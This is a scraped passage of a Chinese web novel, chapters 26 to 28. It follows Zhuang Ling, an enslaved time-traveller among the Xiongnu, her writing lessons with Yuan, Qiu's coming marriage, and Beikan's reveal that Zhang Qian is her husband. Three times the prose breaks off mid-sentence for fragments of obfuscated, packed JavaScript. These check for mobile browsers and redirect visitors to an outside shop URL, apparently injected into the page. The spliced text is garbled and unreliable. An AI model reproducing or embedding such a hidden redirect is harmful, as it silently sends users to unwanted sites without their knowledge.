两个可能,不论是哪一个可能,都是一段伤心事。爰若是从前会背诵《离骚》,假如一直留在家乡,恐怕不会忘记从前读过的文章。若他从前不能背诵《离骚》,也不曾不曾叫匈奴人劫走,这些年一直读书,说不定也在学业上有了些成就,又哪里需要忧心不会背《离骚》? 想到这些,庄翎心里有些难过。爰念着词句错乱《楚辞》,念着念着,也像是有了些兴趣,他见旁边地面有一根细树枝,伸手勾过来,拨开地上一层细碎干草,在冰雪土地上给庄翎写自己方才读过的诗句。 他的字不丑,端端正正的,只是看他写字动作却十分生疏,写得并不快。 爰写一个字,庄翎就认一个字,她也拿来一根树枝在一旁写,她写起字来比爰灵活快速。但是爰见了庄翎写得端正秀丽有几分简体方块字风格的隶书,笑道:“我从没见过谁写得字这样呆。” 庄翎看着笔下的字,也笑了笑。 往后,她每天都会将自己早晨的饼子分出一半来,爰见了庄翎会直接拿走这半个饼子吃掉。 爰只第一日教课的时候有几分兴致,从第二天起立刻怠惰下来,也一日比一日随意。 有时候自己念一些错乱不堪的诗词,让庄翎动笔写字,他有时候指指点点帮着纠正,有时候哼哼哈哈地点头。 庄翎也不多计较,反而一日比一日学得用心,看上去心情也是一天比一天好。 分掉半个饼子之后,庄翎一开始觉得饿,渐渐的,大约是习惯了,也再不觉得饿了。 和爰乱七八糟地学习读书写字的时候,她好像又回到了穿越前的校园生活,庄翎感到了久违的安心快乐。 也好像在这样的日常里,重新找到了一些属于自己的生活。这种生活让她感觉到希望。 26. 第 26 章 在匈奴这片在中原最北方的土地上,冬日里没有太好的天气,对这里的人来说,如果某一天能看到一点太阳、没有很大的风雪,就算是好天气了。 秋与昆桑的婚期在即,前一天,昆桑告诉秋,他的母亲和妹妹一起给秋做了两件新衣服,让秋明天到他家里去试穿。 于是,这一天上午,秋来到了昆桑家里。昆桑家是一家人一起住,他的父母、弟弟、妹妹,还有昆桑,一共五口人住在一个稍微大一些的毡帐里,毡帐最里面的东北角拉着一道帘子,后面是昆桑十二岁妹妹乌兰的床铺,里头只有两步宽一人长,十分狭窄,只是为这个过两年就要出嫁的小姑娘有相对隐私一点的空间而已,其余的人活动范围都在这一道帘子之外的空间里。 趁着乌兰去她的小空间拿给自己做的新衣服,秋便在这间毡帐里一边走一边看,将这个大空间中的事物都打量个遍。 室内放有三张胡床,大一些的,应该是昆桑父母的床,靠东南边放置,剩下两个一样大的单人床,都在西边,大约是昆桑与弟弟的,至于乌兰被帘子隔起来的小空间,在最东北的位置,也是昆桑父母床尾的方向。 几张胡床上床褥半旧、有些地方打着补丁,屋子里有几个装衣服杂物的箱子和柜子也依着毡帐放置,室中央是一个火盆,上面吊着一个烧水的陶罐,一张浅木色的杉木桌子摆在室内中央,上面放着一些榛子,还有吃剩下的榛壳,几个喝水用的黑色粗陶碗,有的里头还有半碗水。 至于地面,是黄土地面,走起路会带起飞尘。秋低头看了看自己脚上的鞋子,才一会儿功夫,鞋上又多了一层黄色尘土。 此时此刻,秋觉得自己不是很喜欢毡帐内的环境,而且它还这样小,但想到这个毡帐很小,容不下太多人,以后自己和昆桑成婚,更多了一口人,昆桑家人大约也会觉得拥挤,也许两个人不会住在这里,想到此处,秋心里松了口气。 不一会儿,女孩儿乌兰捧着两套新缝制的胡服从布帘后走出来,来到秋面前,说道:“这是我和母亲一起给阿姐做的新衣服,阿姐穿穿看合不合身,哪里不合适我再改一改。” 秋扫了眼乌兰捧着的两套新衣,脱下身上半旧的胡服,换上新衣。 这两件衣服由羊毛布制成,整体是未经染色的乳白色,边缘点缀一些棕色,看上去非常朴素,并不像汉家女子新婚穿的那般鲜亮。 只看衣服的款式做工,还不如自己刚才脱掉的那件旧衣服精细。 秋扫了眼自己放在凳子上的半旧胡服,一下子想到了这衣服的来历,也想到了庄翎,心中有一瞬间的难过。 她收回神来,问一旁的乌兰,道:“这两天怎么不见你哥哥?” 乌兰知道秋说的是昆桑,她是个稍微有些腼腆的姑娘,闻言老实答道:“哥哥这两天到了左谷蠡王手下,这位大人一向勤于训练士卒,哥哥自从到了卫队,已经有好几天没有回家了。” 以前伊都和昆桑都是王庭的亲卫,现在昆桑是左谷蠡王的亲卫,秋不知道这其中有什么区别,也不在意。 她在想自己即将到来的婚姻。现在看来,昆桑家里和昆桑自己的生活都不会因为这场婚姻有什么改变,有所改变的只有她自己。 若是在汉朝,一个女孩子出嫁,或多或少都会有一些嫁妆和聘礼。不知道匈奴人有没有这样的风俗,但从前伊都说要娶她的时候,曾经承诺过给她买许多东西。 不知道昆桑家里有没有商量过这件事。 秋问乌兰:“你母亲什么时候回来?” 乌兰说:“今早有人说家里的羊跳圈跑掉一只,母亲去找了,还没有回来。” 秋皱皱眉,心想,不是故意躲掉了吧? 乌兰想了想,继续说道:“阿爹阿娘说,在阿姐嫁给哥哥之后,将家里的羊分给阿姐和哥哥二十只,其中有十只是怀孕的母羊。要不了多久,这二十只羊就会变成六十只。” 牛羊肮脏,照顾牛羊很脏很累,都不得秋的喜欢,她听见这话没有太高兴,顺着乌兰话音问道:“我和你哥哥婚后住在别的毡帐吗?” 乌兰摇摇头,说道:“冬天土冻了风又大,架不起新毡帐,而且哥哥在左谷蠡王那里,不怎么回家。母亲说,阿姐先在家里和我一起住,等到春天部落迁徙之后,若是哥哥能经常回家,就搭建一个新毡帐,让哥哥和阿姐一起住。” 秋自八月份和被俘虏的汉人百姓一起来到匈奴,从秋天又到了冬天,每一天都无比漫长,每一日都胜过从前一年。她想象不到昆桑母亲所说的“以后”,只知道昆桑做护卫是听人安排,若是他现在的头头一直叫他忙,他也不可能松懈下来。 这么说,昆桑以后大约也不能经常回家。那二十只羊就都是她在养,二十只羊很快就会变成三十只、五十只、八十只…… 如此看来,她的生活其实和从前没有太多改变,仍旧是和许多人住在一起,仍旧是没完没了地干活。 昆桑成了她的丈夫,这个丈夫并不会为自己提供多少帮助,但是他仍然可以行使丈夫的权力:他可以随意使唤她,安排她做这个做那个,还有这些羊,就算全是自己在养活,也只有掌握着家里的全部财产。 秋厌恶地皱起眉头来。 而另一边,庄翎正在匈奴女人贝坎家里的毡帐中,贝坎是个热爱生活的女主人,这座毡帐永远干干净净,暖暖和和,连她的两个孩子也比别的孩子更懂事一些。 庄翎认识贝坎很久了,从来没有听说她家里的男孩和女孩儿在外面惹事儿,也没见过这两个孩子调皮打架。 贝坎和她那个已经去世的汉人丈夫大约都很会教育小孩儿。 庄翎仍旧坐在胡床旁边的小凳子上,她今天再给这些人缝制木底马皮靴子,也都是沿着已经裁好的皮片穿针引线。 这活本身不复杂,为难的是马皮坚硬,非得用先尖椎先扎透,才能再用针扎过去。倒有些像是那天用木刺和麻线缝制破口旧衣时的动作,只是马皮更硬一些,人身上的单衣更软一些。 现在想起和秋有关的事情,庄翎外表上几乎看不出来情绪变化,别人看她,只能看到她认真的侧脸。 匈奴女孩儿娜木朵在火盆旁边烤了几条牛肉干,慢慢吃掉,冬天无聊,她吃东西的时候打量着正在缝鞋子的庄翎,就看她给鞋面下缘一点点滚边。这汉人女奴总在家里干活,她都有些习惯了。 娜木朵说:“你要不要做我家的奴隶?以后就专给我家干活。” 这话娜木朵是用汉话说的,她还记得庄翎不会说匈奴话,所以一直用汉话和她沟通。 庄翎没有抬头,也用汉话回答娜木朵,说道:“不,我拒绝。” 娜木朵听见拒绝,笑着说道:“你说了不算,我一会儿问问母亲。” 贝坎正好拎着木桶走进毡帐来,桶里装着新挤出来的羊奶,随着人的行走,桶里白色羊奶来回晃动,散发出浓浓的奶香味。 进门贝坎将木桶放在毡墙一旁,叫道:“娜木朵,热一些牛奶给你弟弟喝。” “知道了。”娜木朵应了一声。 贝坎脱掉最外面一层挤羊奶时穿的旧袍子,来到胡床旁边,先看看床上的孩子,看孩子睡得正好,才坐下来,拿过一旁做了一半的鞋子在手上。 她笑着对庄翎说:“我方才听见你和娜木朵说的话了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533926|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 也不知道她为什么发笑,而娜木朵现在忙着热牛奶,也忘了要问母亲说留庄翎在家里干活。 庄翎看了眼贝坎,并没有说什么。她心知,贝坎没有想要让她长期在家里做奴隶的想法,事实上,贝坎家里现在并不十分需要一个奴隶。而且,她还有一件事情不曾叫她做。 “方才你回答贝坎的汉话又快又清楚,我还记得刚见到你的时候,你汉话和匈奴话说得都不好,但现在你的汉话说得比匈奴话都要好很多。” 以往庄翎倒是不曾留意过这些,她稍稍回忆一下自己平素说话的口音。 贝坎说完,笑着看正在思考的庄翎几眼,忽然问道:“许多汉人来到匈奴,都渐渐忘记汉话怎么说,又或者说话的时候张口结舌,为什么你的汉话反而越说越好?” 也没什么别的理由,初到异世的时候,庄翎不会说汉话,这些日子一直留心学习,也经常和人交流,所以渐渐也说得越来越熟悉了。 而且,同行来到匈奴的汉人,到匈奴还不到半年,就算是一直不说汉话,也不至于遗忘太多,根本不会达到吞音忘字、张口结舌的程度。 贝坎手里拉着线团,就这么一直看着胡凳上安安静静拿着针线活的庄翎,说道:“像你这样的汉人不多,不过我还认识一个这样的汉人,他就是我的汉人丈夫,张骞。” 张骞这名字一落下,犹如雷声在庄翎耳际炸响。怎么会是张骞?从没有人提起过贝坎的丈夫是张骞,而且贝坎还曾亲口说过,她的丈夫从匈奴出逃,被草原上被野狼吃掉了,只留下她和孩子们。 若贝坎的丈夫是张骞,这个人绝对没有死,他不仅没死,还成功逃出了匈奴,继续西逃寻找大月氏,他以后还会回到汉朝,再往后还会受命二次出使西域。 贝坎没有关注庄翎的表情,她一心回忆自己的丈夫,正在说关于他的事情:“我的丈夫是你们汉朝的使者,他接受你们皇帝的命令,往西寻找月氏国。在经过河南白羊王领地的时候,被白羊王抓获,白羊王将他送到了王庭,献给了大单于。” 说到这里,贝坎微微笑了笑,说道:“虽然大单于让人劫掠汉朝的百姓做奴隶,但他对你们汉朝来的大臣一向很好。张骞到来王庭,大单于赏赐了他肉食、美酒、牛羊、毡帐,还将部落里的贵族女孩儿赐予他做妻子。” “我们部族里的人也都很喜欢张骞,他在这里生活得很好,我们还一起生了三个孩子,他也很喜欢孩子。” “但是,没有人的时候,他就会抱住那根汉朝皇帝赏赐的节杖,用你们的汉话自言自语。” “看到这样的场景我就知道他没有忘记汉朝的一切,但我没有戳穿。时间久了,张骞在匈奴过得越来越好。部落里的男人,对他像是对待本族人一样亲切,我也将要生下我们的第三个孩子。我想,总有一天他会心甘情愿留在匈奴。” 贝坎吸了一口气,浑身颤抖了一下,说道:“但是,就在我即将生下第三个孩子的时候,他走掉了,再也没有音信传来。” 庄翎一直在认真听贝坎这些激动的话语,听到这里,她提醒道:“你说过,你的丈夫在野外被狼群吃掉了。” 贝坎说:“不!他没有!那些话都是别人传来的谣言!” “他是我的丈夫,我比任何人都了解他,他一定是逃回到了汉朝!” 贝坎扫了一眼庄翎身上的半旧胡服,对视上她的眼睛,问道:“还记得你身上这件衣服吗?当初我们是有约定的。” 庄翎微微点头,她心里有些不确定的猜测。 只听贝坎说道:“我会想办法送你回汉朝,但你要答应帮我找到张骞,给他送一封信。” 27. 第 27 章 建元二年,也就是武帝登基第二年,这一年汉武帝刘彻才十七岁。 十七岁的皇帝太过于年少,没有人相信年轻的武帝能掌握国政,当时武帝无权决政,凡是国家大事皆决于东宫窦太后。 那一年建元新政刚刚失败,赵绾王臧死于狱中,武帝受挫,不再研究如何用儒家学派取代黄老学派,也不再试图从窦太后手中夺得执政权。 大多数时候,他带着一班侍从与郎官驰骋于上林苑,跑马游猎,闲时就与大夫郎官议事。武帝尤为关切和匈奴有关的事情。 郎官中有从匈奴投降的贵族,武帝问这些人说:“匈奴的敌人除了我大汉,还有什么大一些的敌人?” 在场的匈奴人都说:“匈奴与月氏国为世仇,常有战争,匈奴曾经攻破西域月氏国,将月氏国国王的头颅制为饮器。月氏国因不敌而逃,十分怨恨匈奴,一直想要再攻击匈奴复仇,却苦于没有同盟相助,恐怕不敌而败,一直没有再攻击匈奴。”① 大汉久受匈奴滋扰,武帝有心反抗,却也担心实力不足无法战胜。听到月氏国与匈奴为世仇,武帝心想或许大汉可以与月氏联手对抗匈奴,只是汉朝不曾与月氏国建交,所有关于月氏的消息都来自于匈奴归义者,而这些在汉朝的故匈奴人所有的消息也不多。 于是武帝发榜招募人手出使月氏国,有郎官张骞应募。建元二年,武帝于甘泉宫亲手赐予赐符节,使其出使月氏,为大汉和月氏建交,联络月氏国建立同盟关系,共同攻击匈奴。 张骞带着匈奴人甘父从陇西出发,一路向西北而行,经过匈奴被匈奴白羊王抓到,送传到了王庭大单于处。 军臣单于问张骞:“汉使往何处去?” 张骞答道:“回大单于,臣奉皇命出使月氏国,愿大单于行个方便。” 军臣单于勃然道:“月氏在我之北,汉朝怎么能派遣使者过去?若是我想出使越国,汉朝肯借道吗?”② 匈奴已经在汉朝的北边,月氏国更在匈奴的北边,张骞要去往月氏,必须要从匈奴的国土上穿过。 越国在汉朝疆域以南,匈奴则在汉之北,匈奴若要出使西域,必然要由北而南纵向穿越整个汉朝国土才可以。 而匈奴与汉朝为敌,一到秋天马肥便会攻击雁门,意图过雁门关而大入中原。汉朝绝不可能放匈奴人进入雁门关往南去。 多年以来,汉朝与匈奴就在雁门对峙,一个攻一个防,你来我往,进攻的匈奴人一直没有得偿所愿,据守雁门的士兵与百姓也伤亡不小,可以说双方都因为对方得了心病。 从这一年开始,军臣单于将张骞留在匈奴,赐予他妻子,这一留就是十二年。张骞也有了自己的孩子,但他始终没有抛弃昔日跪在甘泉宫大殿,从武帝手中所领受的符节。 张骞居住匈奴日久,匈奴人渐渐对他放松了警惕。元朔元年初秋,匈奴正在筹备攻击雁门,张骞带着甘父悄然离开了匈奴。 他没有如贝坎所说的一般,被野狼吃掉,也并没有像贝坎说的一样,回到了汉朝。 张骞离开匈奴,一路向西而去,继续着他的使命。 庄翎没有问贝坎为什么对自己说丈夫被狼吃掉了,也没有对贝坎说,张骞仍然继续西行寻找大月氏。 她也一直有好好听贝坎说话。 贝坎紧紧攥着半幅鞋面,说着:“我是须卜氏的女儿,匈奴的贵族,我的姑姑是大单于弟弟的妻子,我最小的侄女是于单王子的未婚妻,我本来应该和她一样,嫁给大单于的王子。” “张骞是汉人,但是他不比任何一个匈奴男人差,甚至他的气度比任何人都要宽大。我们的邻居和朋友都很喜欢他,甚至大单于也喜欢他,愿意让他在我们这里做官。” 庄翎读过一些史书,对她而言,张骞这个人是传说世界里的英雄,她知道那是个了不起的人,但也仅限于此了。 贝坎所说的一切,对她而言都是苍白的,她想象不出对方所说的张骞在匈奴过得很好的是什么样子。 也许是因为她从来也没有见过在这个地方过得很好的汉人吧。 “嫁给张骞,我一开始不是很情愿,后来我愿意和他一起生活,也愿意给他生孩子。” 贝坎很久都没有和人说过这些话了,她十分激动,说了很多。 最后她稍稍收回一些情绪,对庄翎说:“你回去汉朝的时候,要替我告诉张骞,在匈奴的时候,我愿意做他的妻子,他在汉朝生活,也愿意和他一起。” 庄翎问道:“你何时帮我回到汉朝?” “现在是正月,本月二十五那一天各个部落都会来到王庭,跟随大单于祭祀天神。等到那个时候,大单于女儿呼衍居次也会跟随丈夫一起回来,她是我最好的朋友,我会请求呼衍居次派遣人护送你到雁门关。以你汉人的身份想必可以进入城关,在那之前,我会给你一封信,你要好好保管这封信,找到张骞,将信件还有我要说的话都转交给他。” 现在是十月十四,到二十五还有十一天,也不是很长一段时间。庄翎微微点点头,贝坎说的话她都答应下来。尽管她知道张骞现在不在汉朝,等到张骞回到汉朝的时候,也是带着匈奴妻子和孩子一起回来的。 明年张骞就会回到汉朝,贝坎用不了多久就能见到张骞,她其实没有十分必要找自己送信,但庄翎还是应承了这件事。 她想:不管怎么样,自己总要回到汉朝去,她已经不愿意在匈奴继续待下去了,也没办法再在这里待下去了。 至于让贝坎白白将一份期待放在自己身上,虽然多此一举,但那又有什么伤害呢? 也许是孤独得太久了,贝坎一直在和庄翎说张骞、自己、还有家里三个孩子的事情。她说了许多许多,有时候一句话没有说完,下一句话就从嘴里吐出来了,各种各样的话像是山像是海一样堆积拥挤过来。 庄翎静静听着,始终没有半点不耐烦。这家的孩子一开始听得见贝坎说话,后来不知道什么时候,已经趴在小床上睡着了。 两个人都没有再做鞋子,聊了一个多时辰,时间差不多了,贝坎送庄翎到门口,说道:“我哥哥给我送了一个女奴过来服侍,往后你不用来了,等到可以送你离开的时候,我会让人去找你。” 庄翎点点头,掀开毡帘,走出贝坎的毡帐。 她如常往奴隶营走去,九月之后,匈奴就冰雪冻结,一天比一天冷。白天夜里都在刮大风,北风裹着寒冷呼啸而过,像是裹着一片片极其纤薄的刀刃循行于天地之间。 人从寒风中走过,虽不见遍体鳞伤,但疼痛无处不在,直达骨髓。 天气总是这样冷,庄翎也渐渐学会了无动于衷,手冻了就冻了,脚冻了也就冻了,她从不多说什么,也不多看一眼自己冻伤的手足。 越是往北,冬天的夜晚来的就越是早,白天变得极为短暂,眨眼就是黄昏。 走到奴隶营,过了栅栏门,进了营内的时候,天色都半昏了。 微微抬头看去,就见半空中亮晶晶的白色粒片飘飘而落,庄翎伸手去接,掌心落下一片纯白色六角冰晶,接触到人体,缓缓融化成了一点透明的水。 地面上沙沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535893|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沙落了一层细碎的白色冰晶,新落下的冰雪白得发亮,像是钻石的碎屑,又像是坠落的星光。 天太冷了,毡帐外面没有人,连守门的匈奴人也只在栅栏旁的小毡帐里闷着。 庄翎走入一直住宿的那个毡帐,进去的时候,许多人抬起头看了她好几眼。这很反常,但也没什么值得关心的,庄翎沿着毡壁与人们之间的空隙饶过半圈,走回到自己平时睡觉的位置。一眼扫过发现干草又薄了一些,庄翎没说什么,无声坐下来。 一旁吴完翻身坐起来,窸窸窣窣摸着身下干草,不一会儿庄翎身边多了一堆干草。 吴完小声说:“你的干草,我以为你今天不回来了呢。” 庄翎深思敏捷,几乎要以为对方偷听到了自己和贝坎的交流,内心就要警惕起来,却也道吴完一直在牛羊圈里清理粪便,从不去匈奴人的居住区,也是不可能听到贝坎和自己说的话。 吴完说完嘿嘿笑了两声,说道:“今天下午有个四十来岁的匈奴女人带着你妹妹一起来找了管事,她手里牵着三只羊,指了指一旁的你妹妹,将三只羊给了管事,两个人在木牍上画了圈。” 她见庄翎没有反应,继续说:“这意思就是说,这个匈奴女人将你妹妹赎走了!我说,你妹妹真是嫁给匈奴人了?嘿嘿!” “我听别人说,那天在牧场草垛下面,你妹妹说过些天要将你一起赎出去。” “你这么晚没回来,我还以为你也被匈奴人赎走了呢!嘿嘿!”吴完又一阵笑,说不上是冷笑还是什么,像是有点高兴,也不确定,声音古古怪怪,倒有些像夜晚毡帐外刮着的北风声。 如果吴完听到的流言再完整一点,就会知道,她已经和秋说过,自己不会离开奴隶营。 今天见到自己又有什么奇怪的呢? 庄翎默默将吴完方才推过来的干草和自己席位原有的干草一起铺平整。 她心里唯一惊讶的就是:原来换一个奴隶只用三只羊就够了。这些日子以来,她们遭受的所有劳苦与折磨,也只是三只羊的价值而已。 吴完见一旁庄翎铺完草铺没有立刻躺下,而是就跪坐在一旁,静静的,也不动,不知道在想什么,她问:“你怎么不说话?怎么不说话呢?” “你今天也没见到你妹妹吧,就没有什么想问的吗?” “她也许今天就嫁给匈奴人了,也许过两天会嫁给对方。” 不过就吴完说的这两种可能而已。 庄翎沉默了一会儿,只是问道:“那个和秋一起来匈奴女人牵来的那三只羊肥么?” 想不到庄翎问了这样一个没道理的问题,吴完一直没怎么在意这个,她努力回想了一会儿,说道:“好像不怎么胖,其中有一只是个老黑羊。” “哦。”庄翎应了一声,往草铺躺下,准备休息。 今天外面的北风声格外大一些,狂风呼啸声接连响起,毡房的墙壁也被吹得抖动不休。 庄翎才躺下,忽然感到大腿猛地刺痛,像是被毒虫狠狠咬了一口,她不敢动,伸长手去摸索,果然摸到一个小东西,坚硬细小,是一根铁针。 大约是白天在贝坎家里时扎到衣服上的,那会儿两个人一个说话一个倾听,谁也没关注针线。 离开贝坎家里,她就这么带着这根针走了一路,等针尖刺入大腿才发现。 这一针扎得不深不浅,很有几分疼痛,庄翎手里拿着铁针,想了想,还是将针别在了自己衣角。 只希望所有的一切,就按照贝坎所说的那样去发生,让自己顺利回到中原去吧…… 28. 第 28 章 北风在毡帐外响了一夜,第二天大家出门的时候,只觉得格外地冷。 匈奴人照旧给每个人发了一个干饼,今早奴隶营里装水的木桶是空的,人们只能干咽,庄翎皱眉吃掉了半个饼子,照旧将另外半个饼子收入袖中存放。 匈奴管事在众多奴隶之前走动,冰天雪地,这人早已穿上皮毛衣裳,他看着奴隶营中的汉人奴隶,脚下徘徊,像是有些焦躁。 不一会儿,人们都吃完了手里的干饼,没有水喝,大家都留恋地看了眼木桶,就算是冰冷的水也好,但什么也没有。 时间差不多了,该出发去干活了。 按照往常,匈奴人会带大家去牛羊圈,安排人铡草、清理牛圈的食槽和粪便,还会让一些人将稍远一些的草料运回来。 但是今天,匈奴管事带他们过了牛羊圈,又一路往东,走了一小会儿,来到一条极为宽阔的大河旁边。 人们站在河沿上,望向面前大河,默默看着。平时匈奴人日常生活就是使用这条河里的水,他们从这条河或是这条河的支流汲水煮汤,他们的牛羊也在这条大河下喝水,奴隶们取水的小河也是这条大河的支流,有时候一些闲着的匈奴人也在这里打水或是射猎一些前来饮水的鸟兽。 现在这条河冻结了,上面盖着一层白色冰块。难怪奴隶营今早没有饮水。 不远处停着几辆马车,旁边有匈奴人在看守,车板上装着许多木镐、撬棍一类的东西。 匈奴管事带汉人过去领了工具,就将他们驱赶到冰上去,让他们负责破冰。 踩在新冻结的冰层上面,随着脚下走动,能听见细微地沙沙声在耳边响起。走动之间,庄翎低头看去,只见脚下冰层随着自己脚步移动似乎微微泛白。 这冰才冻结不久,还不十分凝实,若是哪个运气不好,踩在脆弱的地方,掉下去也不是没可能。 这种时刻,这样的天气,掉下去还能活命吗? 还没开始干活,站在冰上的人们就为可能发生的种种危险心惊肉跳,有的人已经出了满头大汗,人们不敢在冰面走动,只握着木镐和撬棍僵硬站立。 匈奴人甩动手中皮鞭,大声吆喝,催促人们干活。 浮冰上的人们半低着头,对着半透明的冰块抬起木镐,金属镐头触及冰面,一下又一下,叮叮当当声不绝于耳,半透明的冰块缓缓裂开…… 叮咚一声—— 一小块碎冰掉入冰河深处。 庄翎踩在发白的冰层上,手里握着木镐,看自己身前浮冰缓缓断裂,有一瞬间她瞪大眼睛,脑海干干净净,没有任何人影和声音,只觉得这一生再也用不着指望什么了。 …… 大半个白天之后,庄翎和大部分人平安离开河面,附近的大河平面又重新涌动起来。 众人手中的工具重新交还给匈奴人,人们还是像往常一样去往部落之东的牛羊圈,这个位置距离这条河也是不远,人们走不了多远就能到。 走到草垛下,庄翎找到自己平时使用的铡刀所在的位置,只见四处都是冰雪和草屑,看不见铡刀在或是不在,而牛羊圈里的牛羊正被人赶出圈往东去饮水,牲畜相继走出牛羊圈往大河走去。 抬脚往放置铡刀的地方踢了两脚,冰雪飞出,露出黑铁铡刀锈蚀的侧面来。庄翎弯腰,伸手将铡刀两侧的冰雪和草屑清理干净,随即拿起地上草叉从草垛上扒下来一捆草来,然后半拖半提着将这捆草带到了铡刀旁边,扔到地上,蹲身解开上面的草绳,再拿起草叉将草捆中的草锄松,只这么一会儿功夫,她额角出了一层冷汗。 庄翎从中抱过来一堆草扔在铡刀后面,又抱着一堆草扔在铡刀左侧,自己在铡刀后面跪坐下来,拾来一把草放在扎到之下铡断,她一手铡草一手送草,目光一直看着铡刀下的草,铡刀将刀刃下的干草寸寸铡断,也将她的视线寸寸铡断。 附近都是一片咔嚓咔嚓铡草声。 过了大概半个时辰,被送去饮水的牛羊又被牧人赶了回来,匈奴人开始催促奴隶们给牛羊添草。于是刚刚被铡出来的碎草被人收走,随着抱着箩筐的人们往牛羊圈走去,这些草也被送到了牛羊的食槽中。 天气格外的冷,北风不时刮起地上的碎雪吹入人的衣领袖口,来回走动的人草鞋里也被带入雪粒去。牛羊早晨没吃太多东西,匈奴人又怕这些奴隶偷懒,一直在旁边看着奴隶们铡草和添草。 其间,有人带着牛犊来牛圈找母牛喂奶,大牛和牛犊望见彼此身影都欢喜热情的哞哞叫唤,小牛更是哒哒跑起来。庄翎循着脚步声传来的方向看去,这小牛正是从前总被秋送来吃奶的黄白花小牛犊,而牵着牛犊的人是个满脸胡须的匈奴老者,那小牛犊在前面跑,这人也不牵绳,就在后面慢慢走着。 庄翎看见这一幕,心里意识到,以后秋可能也不会再来这边了,她大概已经不做照顾小牛犊这样的活了。 小牛犊像往常一样钻进牛圈里吃奶,那匈奴人握着缰绳站在牛圈之外,等小牛犊吃完了奶,匈奴老人手里拽一下缰绳,带小牛犊离开。 天空始终灰蒙蒙的,空气凛冽,过了好些时候,又渐渐飘起雪来。 奴隶们仍然在一筐一筐地往牛羊的食槽里添草料,匈奴人转着圈在地上巡视,又过了一会儿,所有食槽都填满,几个监工的匈奴人才离开。 爰走到庄翎旁边的草垛下面,扔下箩筐,身子一矮就靠着草垛坐下,同时伸手扒拉庄翎身边的干草,将这些干草尽可能都盖在自己身上。一堆草几乎要将这个人淹没了,只露出他乱糟糟的头和一双手来。 庄翎仍坐在铡刀旁边,从衣袖里摸出半块干饼递向对方,爰伸手接过来。 他将干饼拿在手中,并没有像往常一样一口吞下去,而是看了看这半枚干饼的截面,说道:“我以为你今天早晨吃不下饭,我会有一整个饼吃。” 庄翎闻言问道:“我为什么吃不下?” 爰见对面庄翎没有表情,微微笑道:“都说你妹妹嫁给匈奴人了,你应该很难过吧?怎么会吃得下东西?” 为什么她要食不下咽,难道她一定要做出这个样子吗? 还是说人遇见一些事情非得那么自暴自弃一回,还要让所有人都看得到,要不然就是没有感情? 爰见庄翎冷然直视,只那一问之后再不肯多言,他继续道:“你看,你吃个饼子都为难,你妹妹从此以后有的是牛羊肉吃,也不用像你一样,冷冰冰地去冻河上刨冰。” 庄翎道:“如果你羡慕,可以问问匈奴人要不要娶你。” 爰听见这话呵呵大笑起来,他仰着头,笑得很大声,只是,他笑得越大声声音就越是发空,这笑声中听不出多少欢喜,只有从他五脏六腑穿过的气流被声带一起震动而出。 庄翎在等爰给自己上今天的识字课,所以也就在一旁等着爰笑完。 不知从几时开始,天空中的雪越下越大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537683|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,飘成了朵朵白色绒毛,细碎晶莹的白雪落在庄翎头上、肩上,衬得她双眼越发的黑。 爰已笑过了,他不看庄翎,而是看飘雪的半空,看那些白色的雪如何在半空中起舞旋落。 他道:“明天会更冷。” 话音落下,他看了庄翎一眼,说道:“今天不写字,我教你一首诗吧。” 爰再次抬起头,望向飘雪的天空,发声唱道: “有兔爰爰,雉离于罗。 我生之初,尚无为。 我生之后,逢此百罹, 尚寐无吪!” “有兔爰爰,雉离于罦。 我生之初,尚无造。 我生之后,逢此百忧, 尚寐无觉!” “有兔爰爰,雉离于罿。 我生之初,尚无庸。 我生之后,逢此百忧, 尚寐无聪!”① 爰好像很久没有大声唱过歌,他声音嘶哑,他现在的声音也不算很大,但气息却很长很长,穿透半空中飞舞的雪花,往更远的地方送去。 据庄翎所知,这是首诗叫《兔爰》,是《诗经·王风》中的一首诗。诗文作于东周之初,是东周洛邑一带的曲风。 西周历史结束于周幽王烽火戏诸侯的寓言故事当中。周幽王为博美人褒姒一笑,数次乱点烽火台戏弄诸侯,后来诸侯见烽火而不去,有一回犬戎攻至,周幽王燃起烽火,诸侯也没来救援。 虽然后来诸侯得知犬戎攻入京师,勤王保住了周王朝。但幽王被犬戎所杀,平王继位,因犬戎威胁镐京,平王向东迁都于洛阳。在历史上,周朝东迁之后的历史被称为东周。 东周时期,天子日渐衰微,诸侯争霸,大争之世,天下大乱。什么春秋五霸、战国七雄,都是这时候的人物。 东周建都洛邑,居住于洛邑的都是周朝京师的百姓,这些人中很多都是和周平王一起迁都过来的。他们目睹诸侯争强、天下大乱,看小人得意,君子罹难,有人感于时事,做了《兔爰》这首诗。 